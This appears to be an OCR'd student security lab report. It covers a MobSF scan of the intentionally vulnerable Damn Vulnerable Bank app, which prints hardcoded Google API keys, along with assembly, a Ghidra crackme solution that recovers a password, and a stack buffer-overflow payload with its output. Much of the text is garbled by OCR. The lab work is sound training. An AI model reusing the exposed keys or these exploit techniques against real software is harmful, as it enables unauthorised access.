OWASP MASVS: MSTG-
RESILIENCE-1

SUPPRESSED
0
Search:

FILES OPTIONS
Show Files Q =
com/app/damnvulnerablebank = -
(MainActivity. java
afafa/a/a java = -

Shared library binary analysis — contains information about libraries used by the application.
Provides information about potential attacks and vulnerabilities that this library contains:
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S emPor-| 2

o |- is < R
« > C o O O localhost:8000/static_ zer/5b40b4 1be20ba611d32045b57c6/Hactivitie
KaliLinux g KaliTools < KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
*
] = RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE v DOCS ABOUT Search MD5
™ SHARED LIBRARY BINARY ANALYSIS
i ] Search:
0 SHARED STACK SYMBOLS
‘ NO * OBJECT NX CANARY RELRO RPATH RUNPATH FORTIFY STRIPPED
H= 1 arme4- True False Full RELRO None None False False
v8a/libtool- [into | [nign | {info | ([ ino | {info | warning warning
L] checker.so The binary This binary This shared The binary The binary The binary does not have Symbols are
- has NX bit does not object has does not does not have any fortified functions. available.
= set. This have a stack full RELRO have run- RUNPATH set. Fortified functions
)] marks a canary value enabled. time provides buffer overflow
memory added to the RELRO search checks against glibc's
= page non- stack. Stack ensures that path or commons insecure
T
executable canaries are the GOT RPATH set. functions like strcpy, gets
+ making used to cannot be etc. Use the compiler
attacker detect and overwritten option
= injected prevent in vulnerable -D_FORTIFY_SOURCE=2 to
. shellcode exploits from ELF binaries. fortify functions. This
non- overwriting In Full check is not applicable for
B executable. return RELRO, the Dart/Flutter libraries
addrace llea ntira COT

Niap analysis v1.3 - NIAP analysis involves the assessment of cybersecurity products to
ensure they meet specific security requirements and standards. The analysis is typically
conducted through a rigorous evaluation process, and the results can lead to the product
receiving a certification that demonstrates its adherence to recognized security standards. In
this case, the MobSF does not provide us with any information in this section.

File analysis — this section contains information about files and issues which they contain. In
this case, the MobSF does not provide us with any information in this section.
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APKiD analysis - APKID is a tool designed for the static analysis of Android applications (APK
files). It is particularly useful for identifying the presence of certain characteristics or
signatures that can help classify the type of application or provide insights into potential

security issues. APKID does not execute the application; instead, it analyzes the APK file to
extract information.

Kali x64

KaliLinux # KaliTools * KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

= RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER AP| DONATE ¥ DOCs ABOUT Search MD5

i APKID ANALYSIS
Search:
DEX + DETECTIONS
classes.dex k Search:
FINDINGS * DETAILS
Anti Debug Code Debug.isDebuggerConnected() check
Anti-VM Code. Build.FINGERPRINT check
Build. MODEL check
Build. MANUFACTURER check
Build. PRODUCT check
Build. HARDWARE check
Build. TAGS check
[comper ®
Showing 1 to 3 of 3 entries Previous Next

This section can be particularly beneficial when concentrating on binary analysis, especially
in the context of malware. For instance, when running the application on an emulator, it may
be discovered that the malware includes anti-VM code, altering the application's behavior in
the emulated environment.
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Quark analysis — section that provides information about potential malware included with

the application. The tested application contains a lot of vulnerabilities but does not include
any malware so this section in our case is empty.

Abused permissions

! ABUSED PERMISSIONS

Top Malware Permissions 1/24 oOther Common Permissions 0/45
|

android.permission.INTERNET

k

Malware Permissions are the top permissions that are widely abused by known malware.
Other Common Permissions are permissions that are commonly abused by known malware.

Server locations

Q@ SERVER LOCATIONS

This ann mav communicate with the followine OFAC sanctioned list of countries.

Domain's malware check — section provide list of domains that the app is using an
information about their geolocation and status:

® DOMAIN MALWARE CHECK

Search:

DOMAIN * STATUS GEOLOCATION

damn-vulnerable-bank.firebaseio.com [ ok | IP: 35.190.39.113
Country: United States of America
Region: Missouri
City: Kansas City
Latitude: 39.099731
Longitude: -94.578568
View: Google Map

plus.google.com m IP: 216.58.208.206
Country: United States of America
Region: California
City: Mountain View
Latitude: 37.405991
Longitude: -122.078514
View: Google Map
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URLs - list of URLs

& URLS

URL

http://localhost
http://schemas.android.com/apk/res/android
https://damn-vulnerable-bank.firebaseio.com
https://plus.google.com/

https://www.xe.com/

Showing 1 to 5 of 5 entries

Firebase database -

§ FIREBASE DATABASE

FIREBASE URL

https://damn-vulnerable-bank.firebaseio.com

Showing 1 to 1 of 1 entries

that

contains

Wydziat Informatyki i i‘:%
Telekomunikacji g’é“"

are included in the application files:

Search:

* FILE
c/cfafa/f/e/nl.java
afafajafa.java
Android String Resource
cfcfafafe/l/f0.java

com/app/damnvulnerablebank/CurrencyRates.java

Previous Next

URL address to firebase database:

Search:

DETAILS

App talks to a Firebase database

Previous Next

Emails — list of email addresses that are included in application files:

W EMAILS

EMAIL

u0013android@android.com0
u0013android@android.com

Showing 1to 1 of 1 entries

Possible

P POSSIBLE HARDCODED SECRETS

"google_api_key" : "AlzaSyBbOHG6DDa6DOcRGEESTmwInXYXcwela3c"

"firebase_database_url" : "https://damn-vulnerable-bank firebaseio.com"
"google_crash_reporting_api_key" : "AlzaSyBbOHG6DDa6DOCcRGEESTmwInXYXcwela3c"
GmdBWksdEwAZFAILVEdDX1FKS0JtQU1DHggaBkNXQQFj TkdBTUMJBgMCFQUIFASMXUFPDxUdBg4PCKNWYO5HQU1DFAYaDwgDBIhTTkUSAgwfHQcJBKIrWKKTbRw=

Search:

+ FILE

c/c/afa/c/y.java

hardcoded secrets:
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A strings — list of strings that are found in the tested application:

htam

s = KaliDocs & KaliForums eX Kali NetHunter > JB Google Hacking

RECENT SCANS STATIC ANALYZER AIC ANALYZER API DONATE »

A STRINGS
From APK Resource

"common_google_play_services_enable_title" : "l-enable ang mga serbisyo ng Google Play”
"common_google_play_services_notification_channel_name" : "Google Play ARFEE0EFREEE"
"abc_menu_space_shortcut_label" : "ZEHE "

"abc_menu_function_shortcut_label" : "Fungao +"
"common_google_play_services_install_title" : "Kunin ang mga serbisyo ng Google Play"
"abc_searchview_description_submit" : "Agnpasiup 3aneit"

“fingerprint_error_lockout" : "Massa intents. Torna-ho a provar més tard.”

"common_google play_services_install_title" : "Google Play ¥aT f&@ar"
"abc_action_mode_done" : "FEAE"

"abc_shareactionprovider_share_with" : "fTH & A "

"Chyba sluZieb Google Play"

Error de Google Play Services"

"common_google_play_services_notification_ticker"
"common_google_play_services_notification_ticker"
"confirm_device_credential_password" : "Koristi lozinku"

"commeon_google_play_services_notification_ticker” : "'IN'W2 NN'AY Google Play”
"common_open_on_phone" : "Quvrir sur le téléphone”
"common_google_play_services_enable_title" : "Attiva Google Play Services"
"fingerprint_not_recognized" : "ZCi&IRH"

"common_signin_button_text_long" : "Mag-sign in sa Google"

B coilel GUs2QLclel 2421[Eld aefl”

At the end we can find some more categories which in this case does not provide us with any
information:

@7 SERVICES

com.google.firebase.components.ComponentDiscoveryService

5 RECEIVERS

S PROVIDERS

com.google.firebase.provider.FirebaselnitProvider

2 LIBRARIES
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11. Assembler

Assembler is a low-level programming language that is specific to a particular computer
architecture or processor. It is a type of programming language that is one step above
machine code, which is the binary representation of instructions that a computer's central
processing unit (CPU) can execute directly. Assembler code is human-readable and consists
of mnemonic instructions that correspond to the machine code instructions understood by
the CPU.

Programmers use assemblers to write programs at a level closer to the hardware,
allowing for more direct control over the computer's resources. Each type of CPU
architecture has its own set of instructions, and therefore, its own specific assembler
language.

Assemblers play a crucial role in the development of low-level software, such as
operating systems, device drivers, and firmware. They convert the human-readable
assembler code into machine code that can be executed by the CPU. While assemblers
provide more control and efficiency, they also require a deep understanding of the
underlying hardware architecture, making them less user-friendly compared to high-level
programming languages.

In this lab we received a short program called “hello.asm” written in assembly language,
the code in this file looks like this:

DIl < Kalixea

SmPOF]

e ~Downloads/hello.asm - Mousepa

File Edit Search View Document Help
] mCc x o Q

1\;"heun. world" in assembly language for Linux
A%

3 jto build an executable on 32-bit arch :
4 nasm -f elf hello.asm

55 1d -s -o hello hello.o

6

7 section .text

8 ; Export the entry point to the ELF linker or loader. The conventional
9 ; entry peint is "_start". Use "ld -e foo" to override the default.

10 global _start

11

12 section .data

13msg db 'Hello, world!',@xa jour dear string

14 len equ $ - msg ;length of our dear string

15

16 section .text

18 ; linker puts the entry point here:
19 _start:
20
21 ; Write the string to stdout:
22
23 mov edx,len ;message length
24 g ;message to write
25 ;file descriptor (stdout)
Xy ;system call number (sys_write)
int 0x80 jcall kernel

i Exit via the kernel:
mov ebx,@ ;process’ exit code

mov eax,1 ;system call number (sys_exit)
int ox8e ;call kernel - this interrupt won't return

To execute the file, we need to execute the following lines in terminal (those lines are
provided as a comment in the file hello.asm) — to build an executable on 32-bit arch:
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e nasm -f elf hello.asm
e |d-s-o hello hello.o

However, our architecture of virtual machine is x64, so we must modify the above line like
this:

e nasm -f elf64 hello.asm
e |d-s-ohello hello.o

After executing them, we will receive a compiled program which prints “Hello, world!” in
terminal after executing it. To execute the program, we must use the following command:

e ./hello

All steps are visible on the screenshot below:

i cichowlasp@kali: ~/Downloads

File Actions Edit View Help

~/Downloads
hello.asm

~/Downloads
elfe4 hello.asm

~/Downloads

~/Downloads
hello hello.o

~/Downloads
helle hello.asm hello.o
~/Downloads

Hello, world!
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Now our task is to modify the code of this program so it will generate as output TXT

file called hello.txt with “Hello, world!” text inside. To do this, we duplicated the “hello.asm”

file and renamed it to “hello_txt.asm”. After our modification, the code of the application
looks as below:

£ cichowlasp@kali: ~/Downloads

File Actions Edit View Help

GNU nano 7.2 hello_txt.asm

; filename for e output text file
s (read and write for owner, r
db 'Hello, world!',@=a i our dear string
equ § - msg i length of our dear string

section .text

; Open the

mow ! . em call number ( _open)
mov e - inter to the filename
: read and write permi
; call kernel

; save the file descriptor for later use

i Write 5 to

mow / ;oS em call number (sys write)

mow 5] : e descriptor

Moy 154 : to write

moy ed: ; me length

int @ ; call kernel
; Close

Moy

Moy

int
; Exit

may } : exit code

mov eax, 1 ;oS em call number (
int

lp ¥ Write Out Where Is
xit i Read File Replace
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Now we must replicate previous steps to run the program and test if it works. All steps are
shown on below screenshot:

- cichowlasp@kali: ~/Downloads

File Actions Edit View Help

-[~/Downloads ]
. 1
hello hello.asm hello.o hello_txt.asm
-[~/Downloads ]
elf64 hello_txt.asm
hello_txt.asm:14: warning: byte data exceeds bounds [-w+number-overflow]
- ~/Downloads

hello hello.asm hello.o hello_txt.asm hello_txt.o

-[~/Downloads
» hello_txt hello_txt.o

— - [~/Downloads

hello hello.asm hello.o hello_txt hello_txt.asm hello_txt.o

- ~/Downloads

-[~/Downloads
hello hello.asm hello.o hello.txt hello_txt hello_txt.asm hello_txt.o

)—[~/Downloads
hello. txt
cat: hello.txt: Permission denied

- ~/Downloads
sudo hello.txt
[sudo] password for cichowlasp:
Hello, world!

As we can see on the screenshot above, our modifications to the code worked
successfully and the file “hello.txt” with “Hello, world!” text inside was successfully created
after executing modified by us file.
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12. Disassembly

Disassembly is the process of converting machine code or executable binary code back
into assembly language or a higher-level representation. It is a reverse engineering technique
commonly used for understanding and analyzing compiled programs, particularly when the
original source code is not available. Disassembly is essential for tasks such as debugging,
vulnerability analysis, and software security assessments.

Here are key points about disassembly:

1. Machine Code to Assembly Language:
e Disassembly involves translating the binary instructions (machine code) of an
executable file into human-readable assembly language instructions.
e Assembly language is a low-level programming language that represents a one-to-
one mapping with the machine code instructions executed by the CPU.

2. Tools for Disassembly:

e Disassembly is typically performed using specialized tools known as
disassemblers. Common disassembly tools include IDA Pro, OllyDbg, Radare2, and
Ghidra.

e These tools provide a user-friendly interface to navigate through the disassembled
code, visualize control flow, and analyze the program's structure.

3. Understanding Control Flow:
e Disassembly helps in understanding the control flow of a program by revealing
how instructions are executed, including branches, loops, and function calls.
e Analysts can identify key functions, subroutine calls, and program logic by
examining the disassembled code.

4. Debugging and Analysis:
e Disassembly is crucial for debugging and analyzing compiled code when the
original source code is unavailable or not practical to access.
e Reverse engineers use disassembly to identify bugs, vulnerabilities, or malicious
code within an executable.

5. Symbolic Information:
e Disassemblers often attempt to recover symbolic information such as function
names, variable names, and data structures. However, this is not always possible,
especially in stripped or obfuscated binaries.

6. Obfuscation and Anti-Disassembly Techniques:

e Some software developers and malware authors employ obfuscation techniques
to make disassembly more challenging.
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o Anti-disassembly techniques may include code encryption, control flow
obfuscation, and various tricks to hinder automated analysis.

7. Legal and Ethical Considerations:
e Disassembly is a powerful tool, but its usage is subject to legal and ethical
considerations. Reverse engineering proprietary software without proper
authorization may violate intellectual property laws.

8. Binary Patching and Modification:
e Disassembly allows analysts to make modifications to the binary code, a
technigue known as binary patching. This can be useful for fixing bugs, removing
software restrictions, or studying the impact of changes.

In summary, disassembly is a valuable technique in reverse engineering, providing
insights into the inner workings of compiled programs and enabling analysis and modification
for various purposes.

In this lab we received a compiled executive which is called “pass2” after running the
program it asks for secret password after verification program returns “You faill”.

~/Downloads/pass

~/Downloads/pass
Enter your secret password:test

You fail!

-[~/Downloads/pass |
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Our task is to disassembly the program and find the secret password. To disassembly the
program we used program called “ghidra” which can be easily installed on Kali Linux by

executing below command:

e sudo apt install -y ghidra

& cichowlasp@kali: ~

File Actions Edit View Help

.'r'.l 0
len”
Eu11d1ng

leadin ¢
s will be 1nJT411ed

njdk-17-jdk-headles

'dk 17-jdk-he
and @ no

be used.

f additional disk space will

iﬂdb4

[F3]
(%3]

ali kali-rolling/main amdé4 openjdk-17-jdk amdé
Fkali kali-rolling/main amd&4 ghidra amdé4 11.8+d

v/kall kali-rolling/main amd64 ghidra-data s

g to unpqu
¢ ghidra-data
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After installing the program, we created a new project called pass2 and imported the file
“pass2”.

[ ] G Il 4 Kalixea

SEmEmpko

(] Ghidra: pass2

File Edit Project Tools Help

BERE K LR

Tool Chest

K Y

Active Project: pass2

k

b

Filter: £
Tree View | Table View

Running Tools

Workspace =

IFimshed cache cleanup, estimated storage used: 0 i

After opening the file by clicking Code browser we can see the assembly code of the
program:

A O 105 | & G

CodeBrowser: pass2:/pass2

File Edit Analysis Graph Navigation Search Select Tools Window Help
Bl = BEBPRED JOIDULFVE: @& o -a- [vVEIEIDG..0BS 1359
fE Listing: pass2 8] & l'-}_ Hy @ E-x ‘Cf Decompiler % i.Ro B x
I A 1| No Function
B 7/ segnent_2.1 )
5] // Loadable segnent [0xBOABOOD - 0x8048723] (disabled ex
= // ran:Q8048000- ran: 08048133
: Vi
S assume DF = Ox0  (Default)
B -dynamic = 08048000 7f 45 4c E1f32_Ehdr
A er v 46 01 01
IS T ¥ 01 00 00 ...
08048000 7f db 7Fh e_ident_magi...
| Program Tree x | 08048001 45 4c 46 ds ELF e ident_magi...
08048004 01 db 1h e_ident_class
| [ symbol Tree @ 1| X 08048005 01 db 1h e_ident_data
+ Bl Imports 08048006 61 db 1h e_ident_vers...
V& Evports il 08048007 00 db oh e_ident_osabi
P 08048008 00 db oh e_ident_abiv...
» [ Functions 08048009 60 06 00 00 60 db(7] e_ident_pad
» [ Labels 60 08
+ BD Classes 08048010 02 00 dw h e _type
- 08048012 03 00 dw 3h e_machine
PNamespaces 08048014 ©1 00 00 08 ddw 1h e version
08048018 c0 83 04 08 ddw _start e_entry
Filter: 5 0804B0LC 34 00 00 00 ddw ELf32_Phdr_ARRAY_08048... e_phoff
: 08048020 58 09 00 60 ddw ELf32_Shdr_ARRAY_ elfS... e_shoff
08048024 00 00 00 00 ddw oh e_flags
o0 Data Type Man. 08048028 34 00 dw 34h e_shsize
08048022 20 06 dw 20h e_phentsize
0804802c 08 00 dw th e_phnun g
ORNARNZ: 2R 00 " 28h. & _shentsize v
< > T < J T
I console - Scripting 3%
08048567 main undefined (1)
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After listing all the functions of the program, we can find a function called “checkPasswd” it
can be useful for us to understand how it works.

CodeBrowser:

Eile Edit Analysis Graph Navigation Search Select Tools Window Help
B &= EBRERD JOIDULFVE- @G| o -a /EIoOBGL.0BC 0 @
Program T... id 3 25| X | [FENNEEY (209 addresses selected) S5 I'%_ B @ | B x ‘ Functions - 25 items & E =[x
4 Name Bs.. | Func... | Function Size |
.bss N . I _init oo i3 00 4g 4
data (LT FUN_ 08048348 ... und... 12N
-got.plt undefined checkPasswd() —gmon_start_ 2 ilko: 5
got defined AL:1 <RETURH> _libc_start main ... thu... 8
~dynamic definedl Stack[-0xf0] :1 local_fo XREF[1] : 08! printf o thuo 6
JJer L4 defined4 Stack[-0xf4]:4 local f4 XREFI1]: 08! _isoc99_scanf o thul &
< TV defined4 Stack[-0xf8]:4 local_f8 XREF[1]: UB) puts o thu... 6
defineds Stack[-0xfc]: 4 local_fc XREF[1]: o8 stremp . thu... 6
| Program Tree x | defineds Stack [-0x100... local_100 XREF[1]: 08 start o 24
defineda Stack[-0x104... Tocal 104 XREF[1]: 08 -
| i symbol Tree i B X defineds Stack [-0x108... local_108 XREF[1]: 0B Fdﬂfg:ba‘f"m”' “”:"' :2
» B mports ndehned«ﬂ Stack [-0x10c... local_L6c XREFI3] 1 g: o
» [ Exports o8
» [ Functions definedl Stack [-x50c... local_S6c XREF12] 08 . .
» £ Labels 08! libe_csu fini ound... 5
» B3 Classes defineda Stack[-0x518... local_518 XREF[3]: 08 _libe_csu_init ound. .. 90
» [0 Namespaces . _i686.g8t pc t o und...
defineds Stack [-0x5lc... local_Slc XREF[4]: 08 ﬁ‘:‘ﬂ—gmba‘—c“’" : ::: - :; 4
Filter: &) (El - T
08! _gmon_start__ o thu. 1
08 _libc_start_main ... thu... 1
o7 Data Type Man... ¥ X checkPasswd XREF[2]:  Entry Point orintf thy 1[v
P T 4 55 PUSH EBP ) - .
= i S 89 €5 Hov EBP, ESP . Fifter: =
7 PLISH FnT
4; % 7 T data X | B Defined Strings X | 7] Functions X o
v i Data Types
» # BuiltinTypes = console - Scripting a8 &%
l@| |ceo45542 | checkPasswd | POP EDI

If we select the function and click D for decompile, we can see the code written in C

language.

Decompile: checkPasswd - (pass2) ®a.Ro [0 [ | B~ X‘
& unuerLnead cocal_rtoc oo
9| undefined4 local 108;
10| undefined4 local_104;
11| wundefined4 local 100;
12| undefined4 local_fc;
13| undefined4 local fs;
14| undefined4 local_f4;
15| undefined4 local fo [S7];

17| local_10c = OxB5746e45;

18| local_ 108 = Ox6f792072;

19| local 104 = Ox73207275;

20| local_l00 = 0xB65726365;

21| local_fc = Ox61702074; -
22| local_f8 = Ox6f777373;

23| local_f4 = 0x6472;

24| puvar2 = local_fo;

23| for (ivarl = 0x39; 1Varl != @; iVarl = ivarl + -1} {
26 *¥puVar2 = 0;

27 puvar2 = puvar2 + 1;

29| printf("%s:", &local_10c);

30| _ isoc99_scanf("s[™wnl", local_S0c);

31| ivarl = stremp(local Soc, (char #) ((int)&local 104 + 3)):
32| if (ivarl == 0) {

33 granted();

34| }

35| else {

36 puts("wnyou faill");

37}

38| return:

39} LY
40 ¥

< J o
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To better understand the code, we renamed some variables, so it is easier to understand
what the code is doing.

Decompile: checkPasswd - (pass2) '.‘3 sia RO [ E!] ﬁ v X

3

4{

5/ int counter;
6/ undefined4 xzero;

7| char user_input [1024];
8/ undefined4 Stringl;

9| undefined4 String2;

10, undefined4 String3;

11| undefined4 String4;

12| undefined4 String5;

13| undefined4 String6;

14| undefined4 String7;

15| undefined4 local_fe [57];

16

17| Stringl = @0x65746e45;
18| String2 = 0x61792072;
19 String3 = 0x73207275;
20| String4 = @x65726365;
21| String5 = 0x61702074;
22| Stringb = @x6f777373;

23| String7 = 0x6472;
24| zero = local_fo;
25| for (counter = 57; counter != @; counter = counter + -1) {

26 *zero = 0;

27 zero = zero + 1;

28/ }

29| printf("ss:", (char %)&Stringl);

30, _ isoc99 scanf("%[™\n]",user_input);

31 counter = stremp(user_input, (char %) ((int)&String3 + 3));
32| if (counter == 0) {
33 granted();

34 }

35| else {

36 puts("\nYou fail!");
37/ }

38| return;]

39}

40
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So, we can see that we have some variables called Stingl to String7 if write down them in

this order and revers the bits we can see that the text hidden under them is: “Enter your
secret password”.

Recipe BB E Input

45 6e 74 65
72 20 79 o6f
. 75 72 20 73
Delimiter
Auto 65 63 72 65
74 20 70 61
73 73 77 6f
72 64

From Hex

asc 83 =7

Output

Enter your secret password
F_ N

So, after analyzing the code we can see that function “strcmp” takes two arguments one is
user input and if function return zero it means that compared strings are the same program
will call function “granted()” which means we got access to the program. This means the
second argument of the function ”(char *) ((int) &String3 + 3)” must be password. The
&String3 is equal to "ur secret password” if we add 3 to it will move by 3 characters so we
are skipping letters “ur” and the space so, the password should be "secret password”. After
checking this password, we received the message: Access Granted. That means We
successfully decoded the password using ghidra.

ol cichowlasp@kali: ~/Downloads/pass

File Actions Edit View Help

-[~/Downloads/pass
Enter your secret password:secret password

Access granted
You have the privileges!

-[~/Downloads/pass
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13. Volat.c

For this exercise we received c file which code looks like this:

#include <stdlib.h=
#include <stdio.h>
#include 0

#include
main( argc, *kargv)

volat;
buffer([32];

if(argc == 1) {
printf("Podaj argumentyn");
return(l1);

volat = @;
(buffer, argv(1]);

if(volat == 8x11121314) {
printf("Udalo sie gratuluje!\n");

printf("Sproboj znow, Twoja zmienna wynosi: @x%@8x\n", volat);

Ln1,Col1 Spaces:4 UTF-8 LF {8 C & Golive Mac

v Prettier

%:SJ Wydziat Informatyki | @i
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0
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After compiling the code and running this, we are asked to insert an argument then if

statement check if our input and print "Udalo sie gratuluje!” or ” Sproboj znow, Twoja
zmienna wynosi: 0x%08x”.

L}

cichowlasp@kali: ~/Desktop/volat

File Actions Edit View Help

~fDesktop/volat]

~/Desktop/volat
volat.c -o volat

~/Desktop/volat]

~/Desktop/volat]
Sproboj

~fDesktop/volat

Now our task is to figure out what we must pass as argument to the program to receive
message:

e "Udalo sie gratuluje!”
After analyzing the code, we can find that the code has buffer overflow vulnerability.

cichowlasp > Downloads » main(int, char **)
#include <stdlib.h=

#include <

#include <

#include

These lines include standard C libraries for memory allocation, input/output, string
manipulation, and UNIX system calls.
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volat;
buffer[32];

Here, a volatile integer volat and a character array buffer of size 32 are declared. The use of
volatile suggests that the compiler should not optimize accesses to this variable, which may
be important for certain types of code

if(argc == 1) {
printf("Podaj argumenty\n");

return(l1);

This block checks if the program is executed without any command line arguments. If so, it
prints a message asking for an argument and exits with a return code of 1. Example of
passing an argument below:

L}

cichowlasp@kali: ~fDesktopfvolat
File Actions Edit View Help

~/Desktop/volat]
Podaj argument
~/Desktop/volat
Sproboj T :“ Zmienna wynosi: @x=@2200000

~/Desktop/volat

volat = 8;
(buffer, argv([1]);

The variable volat is set to 0, and the strcpy function is used to copy the content of the
second command line argument (argv[1]) into the buffer. This is where the vulnerability lies,
as there is no check on the length of the input, and it does not ensure that the buffer will not
overflow.

if(volat == 0x11121314) {
printf("Udalo sie gratuluje!\n");

} else {

printf("Sproboj znow, Twoja zmienna wynosi: @x%@8x\n", volat);

r

}
Finally, it checks if the value of volat has been changed to 0x11121314. If it has, it prints a
success message; otherwise, it prints a message displaying the current value of volat.
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To exploit the buffer overflow, we need to provide a command-line argument longer than the
size of the buffer (32 bytes). This will overwrite the value of volat and potentially lead to

replacing the value of volat with the variable 0x11121314 used in if statement. We used the
following command to test the buffer:

o S(printf 'A%.0s' {1..[range]} && printf "\x14\x13\x12\x11')

We started with the 32 range and then started to increase it to see what the program is
returning. We stopped at range set to 44 where program returned “Udalo sie gratulacje!”
which means we successfully “cracked” the program with buffer overflow vulnerability. Steps
are shown below:

s

File Actions Edit View Help

- ~/Desktop/volat
A%.0s' {1..32}

Sproboj znow, Twoja zmienna wynosi: 0x00000000

~/Desktop/volat
A%. 0¢ {1..40]}

Sproboj znow, Twoja zmienna wynosi: 0x00000000

-[~/Desktop/volat
A%.0s {1..41}

Sproboj znow, Twoja zmienna wynosi: 0x00000011

)-[~/Desktop/volat ]
A%.0s' {1..43}

Sproboj znow, Twoja zmienna wynosi: 0x00111213

5 ~/Desktop/volat
A {1..44}

Udalo sie gratuluje!

-[~/Desktop/volat]
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